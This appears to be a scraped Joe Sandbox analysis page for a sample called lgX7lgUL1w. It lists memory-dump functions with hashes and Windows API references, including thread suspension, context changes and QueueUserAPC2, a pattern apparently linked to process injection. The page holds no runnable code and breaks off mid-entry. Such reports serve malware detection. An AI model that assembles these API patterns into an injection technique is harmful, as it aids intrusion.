Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d806a328222a3d6a213ff637029bd3ca24401f5508e472075109ba4d02c0c2b8
Instruction ID: 273da5e3ad4f810c4770e177cdaff4517617cdeb275c82f5267837fe912c1ff5
Opcode Fuzzy Hash: d806a328222a3d6a213ff637029bd3ca24401f5508e472075109ba4d02c0c2b8
Instruction Fuzzy Hash: 8462B161A1874686FB95AB399580335FFA1BF49781FD08137D91E73350DF3CE8608A22

Function 00007FF7E35A3600 Relevance: .6, Instructions: 626COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 549e6052dfb5f75015054c6104143178bc8924d384410c045d17cae26b1dd661
Instruction ID: b979dfb826e097a0f9480b44ccf820d880fca77d40f35a53d2dbd179ee5321ef
Opcode Fuzzy Hash: 549e6052dfb5f75015054c6104143178bc8924d384410c045d17cae26b1dd661
Instruction Fuzzy Hash: 8942CF72B08B4686EB909F65E4402ADBBA1FB48BC8F840437EE5D27B58DE3CE451D711

Function 00007FF7E35A3F70 Relevance: .6, Instructions: 583COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7bc02a47b9c6b537f87ba7f03e9d8996afc695ebb4e05c8f65f414fc91164dd3
Instruction ID: 623f13bcdc34c42b32a7178cfd24d1036d4ab2fa06e3c0cb615a1132d903ffe4
Opcode Fuzzy Hash: 7bc02a47b9c6b537f87ba7f03e9d8996afc695ebb4e05c8f65f414fc91164dd3
Instruction Fuzzy Hash: 8032A3B2F09B4586EB90DFB5D4403BCBBA1AB08788B844537CE1D67788DE38E455D362

Function 00007FF7E358FDA0 Relevance: .4, Instructions: 432COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567bd8c800cafad585b7cf90b26b86391f749c9adea7eec1786a4c820cec952b
Instruction ID: d6a1df80313709a929fa95bebee156e9c80ef8e7d122a122204daef7b4bf03a1
Opcode Fuzzy Hash: 567bd8c800cafad585b7cf90b26b86391f749c9adea7eec1786a4c820cec952b
Instruction Fuzzy Hash: 4702D572B14A4286EA949F29E440778BBA1EB45BA5FC44633CA3D6B7D4CF3CE451C321

Function 00007FF7E35969D0 Relevance: .4, Instructions: 415COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8165507139ff8a0687a5d92b66615806cd6d012feea20fe9d4ca7b556209f25
Instruction ID: c0a488219ad8a9d83c6643af2816cba98924de9f055467588970c084653572cc
Opcode Fuzzy Hash: e8165507139ff8a0687a5d92b66615806cd6d012feea20fe9d4ca7b556209f25
Instruction Fuzzy Hash: 44F12821F2874D41E992A63B51413B4EA526F6E7D0F9ECB33E85D36790EF3CB0958211

Function 00007FF7E3594890 Relevance: .4, Instructions: 361COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a30e9ccede4defc8cb9bb7021f2aed867e6faa058a659ec2196f15f4e69dc293
Instruction ID: 3092637554c980217631b8619e936f26d7b303301bc2eeb514de9c64f1e9024f
Opcode Fuzzy Hash: a30e9ccede4defc8cb9bb7021f2aed867e6faa058a659ec2196f15f4e69dc293
Instruction Fuzzy Hash: E7F1E3A2A18B8582EB50DF29D444378BB61FB49BA4F944332CE2D27790DF3CE491C351

Function 00007FF7E358F7F4 Relevance: .4, Instructions: 357COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID: CounterPerformanceQuery
String ID:
API String ID: 2783962273-0
Opcode ID: c1850e810df6202e2c71cd3c6d27a795553a239f11018daae015bd6db6a2eabd
Instruction ID: 09b61bbb766bc29c04bc4706f148b850868e877a10b20e29735bdfc295f9636a
Opcode Fuzzy Hash: c1850e810df6202e2c71cd3c6d27a795553a239f11018daae015bd6db6a2eabd
Instruction Fuzzy Hash: 82027021A19B4685EA91AB38E490374BFA0BF4DB59F944237CD4D773A0DF3DE4A1C221

Function 00007FF7E35A89D0 Relevance: .3, Instructions: 332COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a067f801db91a70f563a5d40447dd11d047fed665657b512b0d6a88a55159cf1
Instruction ID: be9048900c991cd23b9f921db5628421afe53436ba34fa264209e00982fc0861
Opcode Fuzzy Hash: a067f801db91a70f563a5d40447dd11d047fed665657b512b0d6a88a55159cf1
Instruction Fuzzy Hash: A7E1B272A0874586EBD5AB25D480374BFA1FB48B85F844237C96D633A0DF3CE4A4D722

Function 00007FF7E3592934 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d93270e60e16491fbe54944405fcef5222b15305876aeadfc7a3f6476fd23a8
Instruction ID: 70583ddd9a8363da672fc45cac9ebe341c3e0167070cda9fbc686503fda79769
Opcode Fuzzy Hash: 2d93270e60e16491fbe54944405fcef5222b15305876aeadfc7a3f6476fd23a8
Instruction Fuzzy Hash: D5E12212A1AFC949E697A7399041375E699BF6A3C0F848733DD4F32762DF38A1938211

Function 00007FF7E35988C0 Relevance: .3, Instructions: 273COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4edf0397d65345d120d8a261b0ef52faea315b51b514a397b6118f37b68e7496
Instruction ID: b450f1161a2595c1f8b1ea14c0d729e672f24763960547eaa588891944ce895a
Opcode Fuzzy Hash: 4edf0397d65345d120d8a261b0ef52faea315b51b514a397b6118f37b68e7496
Instruction Fuzzy Hash: C3C19531B18B4681EA809B19E894734BFB5FB49BA1F844137C96D67794DF3CE460C362

Function 00007FF7E35A2290 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f81cb8a8fa680b7983bac6cb0d1cb7bd7e58e6fd297d06bcd676f255ee82a72e
Instruction ID: e66576b766f4fca46860a51b83c518cba4e657fe3531828913fd638f95cb87d9
Opcode Fuzzy Hash: f81cb8a8fa680b7983bac6cb0d1cb7bd7e58e6fd297d06bcd676f255ee82a72e
Instruction Fuzzy Hash: D4C1B631B18B4682EA80EB15E895378BFA4FB497A1F840533C96D677A4DF3CE460D361

Function 00007FF7E35957F0 Relevance: .3, Instructions: 251COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a88597bd80fbec51528b2ed85b6bd883d763db581cbee44f11464c4b77c7b693
Instruction ID: 15821631c030078fd0bffe939fb43563cf77d47489c677ea04caf838398143ca
Opcode Fuzzy Hash: a88597bd80fbec51528b2ed85b6bd883d763db581cbee44f11464c4b77c7b693
Instruction Fuzzy Hash: 6B91E272B14A9583EB949F1AE4807A8BBB2F785BC1F85403ADE4EA7B44DE3CD414C750

Function 00007FF7E35869D0 Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c5450eb009bbb477380e5294b5de819db12dd9e00ce9680b9f4d20b2e4ec7d5
Instruction ID: 28ecca30f732ccbd0bf630be609003166d45e1c1470fb3cc4ceaea15d607147d
Opcode Fuzzy Hash: 2c5450eb009bbb477380e5294b5de819db12dd9e00ce9680b9f4d20b2e4ec7d5
Instruction Fuzzy Hash: 2D919431A08B4282E790AB25F980379BBE0FB58786F914137DA9D67761DF7CE050C712

Function 00007FF7E3598D40 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 437c2bb9eed3bb237656b73319d9a7c63277ab8907db6804528c2f463d4bd837
Instruction ID: 49f5974bab5b05d02326225df1f317c36e0ac4670133a720d1a60a02ba68885c
Opcode Fuzzy Hash: 437c2bb9eed3bb237656b73319d9a7c63277ab8907db6804528c2f463d4bd837
Instruction Fuzzy Hash: 34512522F1AB0E01E98A933F5141779D9626F5A7C0E9CDB33E91E36790EF3DB0908611

Function 00007FF7E3593010 Relevance: .2, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd315fed3be031c9e26a90a11914652993b972776a13770548698b9b4cb4de5d
Instruction ID: c078af938f34bcd8002774d1d35a21fbe20b15e7432863a3ec0b6068501c7b57
Opcode Fuzzy Hash: dd315fed3be031c9e26a90a11914652993b972776a13770548698b9b4cb4de5d
Instruction Fuzzy Hash: 1B612731A18F8585D696DB3C9481B24FB6ABF497C0B989332DD5F72351DF3CA0A2C611

Function 00007FF7E359F360 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 1fa7a848999a6a82e6943152a9856c355e6e1e90088799d98739f212ba5528bb
Instruction ID: 3c5b147e1b752a055b8ce4a5b230b54148c8718c6e6b9b4e8608132e753c5f4c
Opcode Fuzzy Hash: 1fa7a848999a6a82e6943152a9856c355e6e1e90088799d98739f212ba5528bb
Instruction Fuzzy Hash: A721D622B1C24282FFD4AB3DA2D17795A50DF89794FC42132DE2C03B86DD2CD5914B01

Function 00007FF7E357A990 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 85libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,00007FF7E3575E6A), ref: 00007FF7E357A9B3
GetProcAddress.KERNEL32(?,?,?,?,?,00007FF7E3575E6A), ref: 00007FF7E357A9C8
GetEnabledXStateFeatures.KERNEL32(?,?,?,?,?,00007FF7E3575E6A), ref: 00007FF7E357A9D5
InitializeContext.KERNEL32(?,?,?,?,?,00007FF7E3575E6A), ref: 00007FF7E357AA14
GetLastError.KERNEL32(?,?,?,?,?,00007FF7E3575E6A), ref: 00007FF7E357AA22
InitializeContext.KERNEL32(?,?,?,?,?,00007FF7E3575E6A), ref: 00007FF7E357AA76

Strings

InitializeContext2, xrefs: 00007FF7E357A9BE
kernel32.dll, xrefs: 00007FF7E357A9AC

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID: ContextInitialize$AddressEnabledErrorFeaturesHandleLastModuleProcState
String ID: InitializeContext2$kernel32.dll
API String ID: 4102459504-3117029998
Opcode ID: 58a5be5d35835e3958eeb122e2f56d5ffa59673f895c6159930fb17e4b9c7a5e
Instruction ID: 52c4cd467e7dc5d3dd66a1317cc0055db89e6df5e85b14991127982b925981d0
Opcode Fuzzy Hash: 58a5be5d35835e3958eeb122e2f56d5ffa59673f895c6159930fb17e4b9c7a5e
Instruction Fuzzy Hash: E331B221A1878681FB81AB61E940339EBA1AF84B91F840037DD4C637A4DF7CE656C731

Function 00007FF7E3575D00 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 83threadlibraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 00007FF7E357AD41
GetProcAddress.KERNEL32 ref: 00007FF7E357AD51
GetLastError.KERNEL32 ref: 00007FF7E357ADA4
SuspendThread.KERNEL32 ref: 00007FF7E357ADBD
GetThreadContext.KERNEL32 ref: 00007FF7E357ADD8
ResumeThread.KERNEL32 ref: 00007FF7E357AE02

Strings

QueueUserAPC2, xrefs: 00007FF7E357AD4A
kernel32, xrefs: 00007FF7E357AD34

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID: Thread$AddressContextErrorLastLibraryLoadProcResumeSuspend
String ID: QueueUserAPC2$kernel32
API String ID: 3714266957-4022151419
Opcode ID: 1854c6662005a05bccb6cd86df4f5362b47cb18156353affd7ed6c801de71de6
Instruction ID: 01c7b5359080f8885288963a0e9259130f0fb814aab0f6f0cf712b783976ffcd
Opcode Fuzzy Hash: 1854c6662005a05bccb6cd86df4f5362b47cb18156353affd7ed6c801de71de6
Instruction Fuzzy Hash: FD31CA21B0860241FBD0BB26E85037ABBA1EF49BA6FC01232D85D667D0DF3DE6058721

Function 00007FF7E358D9F0 Relevance: 10.7, APIs: 7, Instructions: 227threadCOMMON

Download Yara Rule

APIs

SwitchToThread.KERNEL32 ref: 00007FF7E358DAB1
SwitchToThread.KERNEL32 ref: 00007FF7E358DB5A
SwitchToThread.KERNEL32 ref: 00007FF7E358DB63
SwitchToThread.KERNEL32 ref: 00007FF7E358DC9A
SwitchToThread.KERNEL32 ref: 00007FF7E358DCA3
SwitchToThread.KERNEL32 ref: 00007FF7E358DCCD

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID: SwitchThread
String ID:
API String ID: 115865932-0
Opcode ID: 8855a6a9be19cc912e040998a95c185b2b15f028c0bb56cd1e5e4913b5d84e9d
Instruction ID: 78fe4452b8bd51a676c83a1ceeca0a33fdf7da0985b72a03f68eec0ea7edaef2
